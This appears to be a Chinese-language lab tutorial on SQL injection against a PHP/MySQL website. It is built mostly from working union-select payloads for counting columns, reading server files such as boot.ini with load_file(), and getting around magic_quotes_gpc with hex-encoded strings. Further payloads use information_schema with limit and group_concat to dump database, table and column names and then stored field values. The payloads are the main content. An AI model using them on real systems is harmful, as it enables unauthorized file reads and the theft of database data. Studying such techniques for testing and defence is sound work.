PHP+MySQL注入
实验环境描述:Windows+MySQL+apache+php
网站url:http://x.x.x.x/list.php?id=1
路径: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs
实验过程:
一、注入点信息检查
首先,利用order by查询检查字段数目,提交如下语句:
order by 10 //返回错误 order by 5 //返回错误 order by 4 //返回正确
证明该注入点处查询字段数据为4。使用union select查询数据库的版本信息,以及连接的用户名和数据库名等,提交如下链接:
and 1=2 union select 1,2,3,4
二、load_file获取敏感信息
现在使用load_file()来查询获取服务器的敏感信息。首先,判断一下服务器操作系统类型及版本,提交如下链接:
and 1=2 union select 1,2,load_file('c:\\boot.ini'),4如果php开启了magic_quotes_gpc,单引号自动转义成\’,因此函数不能正常执行。
要绕过此过滤,可将c:\boot.ini转换成十六进制,转换后为: 0x633A5C626F6F742E696E69
and 1=2 union select 1,2load_file(0x633A5C626F6F742E696E69),4
从页面中可以看出boot.ini文件的内容。
三、LIMIT爆库、爆表与爆字段
爆数据库
and 1=2 union select 1,database(),3,4该语句可爆出当前数据库名。
爆表名
and 1=2 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA=库名十六进制代码 limit 0,1添加limit后的数字0的值,可查询爆出指定数据库的所有表名。
爆字段
and 1=2 union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_NAME=表名十六进制代码 limit 0,1
添加limit后的数字0的值,可查询爆出指定数据库的所有字段名。
四、Group_concat()快速实施MySQL注入攻击
爆所有数据库名
and 1=2 union select 1,group_concat(SCHEMA_NAME),3,4 from information_schema.schemata
该语句是查询”SCHEMATA”表中的SCHEMA_NAME字段,从而获得所有数据库名称。
爆当前数据库所有表
and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
该语句是查询TABLES表中的TABLE_NAME字段,其查询条件为数据库名称字段TABLE_SCHEMA值为当前数据库,从而获得当前数据库中的所有表。
爆表中的字段名
and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名的十六进制编码
该语句是将指定的表名转换为十六进制编码,查询该表名中COLUMNS表中存储于该表明相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名。
爆指定字段值
and 1=2 union select 1,group_concat(字段1,0x7c,字段名2),3,4 from 表名
该语句是通过查询指定表中字段名的值,在此查询语句中就不比对字段名和表名进行十六进制编码转换了。其中有一个0x7c是分隔符”|“的十六进制编码,用于对查询结果中的字段名进行分隔显示。
发表吐槽
你肿么看?
既然没有吐槽,那就赶紧抢沙发吧!